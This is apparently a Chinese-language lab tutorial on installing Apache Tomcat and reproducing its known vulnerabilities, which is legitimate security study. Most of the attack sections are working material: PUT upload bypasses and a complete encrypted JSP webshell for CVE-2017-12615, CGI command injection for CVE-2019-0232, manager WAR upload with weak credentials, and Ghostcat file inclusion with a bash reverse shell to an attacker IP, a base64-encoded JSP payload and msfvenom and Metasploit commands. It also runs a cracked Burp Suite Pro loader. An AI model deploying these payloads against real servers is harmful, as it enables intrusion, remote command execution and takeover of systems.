一、Tomcat安裝
Windows下安裝
1)Tomcat下載
歷史版本下載地址
http://archive.apache.org/dist/tomcat/
下載exe
文件
2)安裝java8
下載網站:https://www.java.com/zh-CN/download/
默認下一步
查看是否安裝成功
java -verison
3)安裝Tomcat8
下載網站:https://tomcat.apache.org/download-80.cgi
啟動安裝程序安裝即可
Linux下安裝
1)下載8.5.65
版本的Tomcat
wget https://mirror.nodesdirect.com/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz
2)解壓文件
tar zxvf apache-tomcat-8.5.65.tar.gz.
mv apache-tomcat-8.5.65 tomcat
3)配置環境變量
cd /etc
vi profile
export CATALINA_HOME=/root/Desktop/tomcat
4)重啟環境變量
source /etc/profile
5)開啟服務|關閉服務
./startup.sh
./shutdown.sh
二、Tomcat目錄結構
/bin # 二進制文件
- startup.bat # 啟動Tomcat服務
- shutdown.bat # 停止Tomcat服務
/conf # 配置文件
- server.xml # 定義了tomcat啟動時涉及的組件屬性
- tomcat-users.xml # 調用CGI
- web.xml # 定義servlet
/lib # 存放全局的jar包
/logs # 日志
/temp # 臨時文件
/webapps # 存放JAVA的Web項目
/manager # 后台登陸頁面
/ROOT # 根目錄
三、Tomcat滲透
1、任意文件寫入漏洞(CVE-2017-12615)
文件上傳、getshell
影響范圍:7.0.0~7.0.81(官網),
原理:配置不當(非默認配置),將配置文件,造成PUT文件上傳
0x01 搭建復現環境
使用docker
進行搭建復現環境
IP
:192.168.112.141
sudo docker ps
sudo docker exec -it d /bin/bash
0x02 漏洞原理
該漏洞由於配置不當,將配置文件web.xml
中的readonly
項設置為了false
,導致可以使用PUT
方法上傳任意文件,但這里限制了jsp
文件,需要進行繞過上傳jsp
文件
查看readonly
項的值:
cat conf/web.xml | grep readonly
至於為什么false時會可以有PUT操作,需要進一步學習
0x03 復現操作
Ⅰ. 文件上傳
1)訪問主頁面,抓包
2)修改包文件,發送
3)查看文件是否上傳成功
4)測試上傳jsp
文件
<%out.println("Hello");%>
Ⅱ. 繞過上傳jsp
Linux環境:
PUT /xigua1.jsp%20 HTTP/1.1
空格繞過
PUT /xigua22.jsp:$DATA HTTP/1.1
NTFS流
PUT /xigua333.jsp/ HTTP/1.1
斜桿繞過
Windows環境:
無法繞過上傳jsp,因為文件名的問題
Ⅲ.上線冰蠍
一句話
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
連接
2、遠程代碼執行漏洞(CVE-2019-0232)
webshell 提權
影響范圍:
9.0.0 ~ 9.0.17
8.5.0 ~ 8.5.39
7.0.0 ~ 7.0.93
0x01 環境及配置
安裝9.0.17
版本,下載地址:
http://archive.apache.org/dist/tomcat/tomcat-9/v9.0.17/bin/
1)配置相關項
- 在
conf\web.xml
中添加下面代碼
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
啟動
CGIServlet
部分
enableCmdLineArguments
啟用后會將URL
中的參數傳遞到命令行
executable
指定執行的二進制文件
- 在
conf\web.xml
啟動CGI的servlet-mapping
- 修改
conf\context.xml
,添加權限
<Context privileged="true">
- 在
webapps\ROOT\WEB-INF
下創建一個cgi-bin
目錄,創建文件xigua.bat
,內容任意
0x02 復現操作
輸入下面URL
http://192.168.112.142:8080/cgi-bin/xigua.bat?&dir
0x03 原理分析
參考:
CVE-2019-0232:Apache Tomcat RCE漏洞分析 - 先知社區 (aliyun.com)
RFC 3875 - The Common Gateway Interface (CGI) Version 1.1 (ietf.org)
code white | Blog: Java and Command Line Injections in Windows
漏洞相關的代碼在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java
中,CGIServlet提供了一個cgi的調用接口,在啟用 enableCmdLineArguments
參數時,會根據RFC 3875來從Url參數中生成命令行參數,並把參數傳遞至Java的 Runtime
執行。 這個漏洞是因為 Runtime.getRuntime().exec
在Windows中和Linux中底層實現不同導致的。下面以一個簡單的case來說明這個問題,在Windows下創建arg.bat:
rem arg.bat
echo %*
並執行如下的Java代碼
String [] cmd={"arg.bat", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);
在Windows下會輸出 arg
和 dir
命令運行后的結果。同樣的,用類似的腳本在Linux環境下測試:
# arg.sh
for key in "$@"
do
echo '$@' $key
done
String [] cmd={"arg.sh", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);
此時的輸出為
$@ arg
$@ &
$@ dir
導致這種輸出的原因是在JDK的實現中 Runtime.getRuntime().exec
實際調用了 ProcessBuilder
,而后 ProcessBuilder
調用 ProcessImpl
使用系統調用 vfork
,把所有參數直接傳遞至 execve
。
用 strace -F -e vfork,execve java Main
跟蹤可以看到上面的Java代碼在Linux中調用為
execve("arg.sh", ["arg.sh", "arg", "&", "dir"], [/* 23 vars */])
而如果跟蹤類似的PHP代碼 system('a.sh arg & dir');
,得到的結果為
execve("/bin/sh", ["sh", "-c", "a.sh arg & dir"], [/* 23 vars */])
所以Java的 Runtime.getRuntime().exec
在CGI調用這種情況下很難有命令注入。而Windows中創建進程使用的是 CreateProcess
,會將參數合並成字符串,作為 lpComandLine
傳入 CreateProcess
。程序啟動后調用 GetCommandLine
獲取參數,並調用 CommandLineToArgvW
傳至 argv。在Windows中,當 CreateProcess
中的參數為 bat 文件或是 cmd 文件時,會調用 cmd.exe
, 故最后會變成 cmd.exe /c "arg.bat & dir"
,而Java的調用過程並沒有做任何的轉義,所以在Windows下會存在漏洞。
除此之外,Windows在處理參數方面還有一個特性,如果這里只加上簡單的轉義還是可能被繞過, 例如 dir "\"&whoami"
在Linux中是安全的,而在Windows會執行命令。
這是因為Windows在處理命令行參數時,會將 "
中的內容拷貝為下一個參數,直到命令行結束或者遇到下一個 "
,但是對 \"
的處理有誤。同樣用 arg.bat
做測試,可以發現這里只輸出了 \
。因此在Java中調用批處理或者cmd文件時,需要做合適的參數檢查才能避免漏洞出現。
0x04 修復建議
關閉enableCmdLineArguments
參數
3、弱口令&后台getshel漏洞
后台文件上傳、getshell
0x01 環境配置
這里使用Win7
環境,IP
為192.168.112.142
1)在conf\tomcat-users.xml中配置用戶權限
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/> <role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
2)開啟遠程訪問
在conf\Catalina\localhost\manager.xml
文件中添加如下代碼
<Context privileged="true" antiResourceLocking="false"
docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>
3)訪問改網址,即可登陸
http://192.168.112.142:8080/manager/html
0x02 后台操作
1)創建后門文件
2)生成war
文件
將muma.jsp
壓縮為zip
,然后修改后綴成war
或者jar -cvf muma.war muma.jsp
3)上傳至網站
4)冰蠍連接
0x03 MSF-getshell
1)使用模塊
use exploit/multi/http/tomcat_mgr_upload
2)設置相關項
set rhosts 192.168.112.142
set rport 8080
set HttpPassword tomcat
set HttpUsername tomcat
3)執行、提權
4、Tomcat Manager 爆破
賬號密碼爆破
0x01 工具安裝
1)開啟burpsuite專業版
java -jar burploader.jar
點擊RUN
復制License
,點擊NEXT
點擊Manual activation
得到密鑰,Next
,開啟即可
開啟BurpSuite
java --illegal-access=permit -Dfile.encoding=utf-8 -javaagent:BurpSuiteCn.jar -javaagent:BurpSuiteLoader_v2020.12.1.jar -noverify -jar burpsuite_pro_v2020.12.1.jar
2)下載Foxyproxy
Google
搜索FoxyProxy
網址:FoxyProxy Standard – Get this Extension for 🦊 Firefox (en-US) (mozilla.org)
0x02 爆破操作
1)查看賬號密碼傳輸形式
隨便填賬號密碼,抓包查看
可以看到是base64
加密形式
4)發送給Sniper模塊進行爆破
Ⅰ. 選擇攻擊類型|添加有效載荷
選擇攻擊類型為Sniper,選定密碼數據處,選擇添加§
Ⅱ. 設置有效載荷類型
選擇自定義迭代器
Ⅲ. 設置有效載荷
分別在1、2、3的位置上添加上載荷(這里用於測試,隨便寫了幾個)
Ⅳ. 添加有效載荷的處理方式
選擇Base64
編碼
Ⅴ. 開始爆破
查看結果,發現有狀態為200的數據包,表示爆破成功
5、AJP文件包含漏洞分析(CVE-2020-1938)
任意文件讀取、代碼執行
0x01 基本介紹
由於 Tomcat
在處理 AJP
請求時,未對請求做任何驗證, 通過設置 AJP
連接器封裝的 request
對象的屬性, 導致產生任意文件讀取漏洞和代碼執行漏洞
影響版本:
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
HTTP協議: 連接器監聽 8080 端口,負責建立HTTP連接。在通過瀏覽器訪問 Tomcat 服務器的Web應用時,使用的就是這個連接器。
AJP協議: 連接器監聽 8009 端口,負責和其他的HTTP服務器建立連接。Tomcat 與其他HTTP服務器集成時,就需要用到這個連接器。
0x02 環境搭建
使用Docker
進行搭建,在vulhub
靶場上進行復現,網址傳送門
cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d #開啟容器
sudo docker ps #查看容器信息
sudo docker exec -it 【ID】 /bin/bash #進入容器內部
IP:192.168.112.141
0x03 復現操作
Ⅰ. 文件讀取漏洞
該漏洞產生的位置位於8009的AJP協議處,可以查看到/webapps
下的所有信息。這里使用公開利用的腳本進行測試,讀取網站目錄下的web.xml
文件
1)下載POC
下載地址:
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp協議文件讀取漏洞 (github.com)
該腳本在python2
下運行,下面先使用Kali Linux
進行演示,后面看情況再在Windows
上演示
2)執行該腳本
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.112.141 -p 8009 -f /WEB-INF/web.xml
Ⅱ. 文件包含漏洞
文件包含導致代碼執行,反向shell【txt文件反彈shell】,結合前面的文件上傳
該漏洞可以將任意文件解析為jsp
,達到任意命令執行的效果。但需要配合文件上傳漏洞(前面有講),這里假設服務器上已存在一個shell
文件
1)開啟監聽
nc -lvp 8888
2)根據監聽信息生成payload,並處理
在線Bash Payload
生成網站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
輸入如下命令,192.168.112.132
為攻擊機的ip
地址。
bash -i >& /dev/tcp/192.168.112.132/8888 0>&1
得到的payload
為
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
3)構造最終的payload
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xMzIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
創建xigua-RCE.txt
文件,寫入上面代碼。
4)上傳payload
文件
這里假設該文件已上傳至網站目錄上
sudo docker cp /home/Zer0b1t/vulnerability_emersion/xigua-RCE.txt 608768a331b1:/usr/local/tomcat/webapps/ROOT
5)執行腳本,上線
這里的腳本和文件讀取為同一個,這里只是改名了,下載地址
python2 file_include.py 192.168.112.141 -p 8009 -f xigua-RCE.txt
Ⅲ. 文件包含漏洞結合MSF
與上一部分類似,只是在
msf
里操作
1)msfvenom
生成木馬文件【txt】
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.112.132 LPORT=5555 R > shell.txt
2)上傳文件至/ROOT
步驟見上
3)使用jsp_shell_reverse_tcp
監聽模塊
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.112.132
set lport 5555
exploit -j #后台運行該監聽腳本
4)執行文件包含腳本file_include.py
,上線
python2 file_include.py 192.168.112.141 -p 8009 -f shell.txt
執行后查看session
,使用session 2
輸入shell
等待連接
0x04 源碼分析
本人過菜,留下分析文章日后再來【4.26】
Tomcat Ajp協議文件包含漏洞分析 - 先知社區 (aliyun.com)
不調試源碼重現 Ghostcat 漏洞 (CVE-2020-1938) (seebug.org)
CVE-2020-1938:Tomcat AJP文件包含漏洞分析 · Ywc's blog (yinwc.github.io)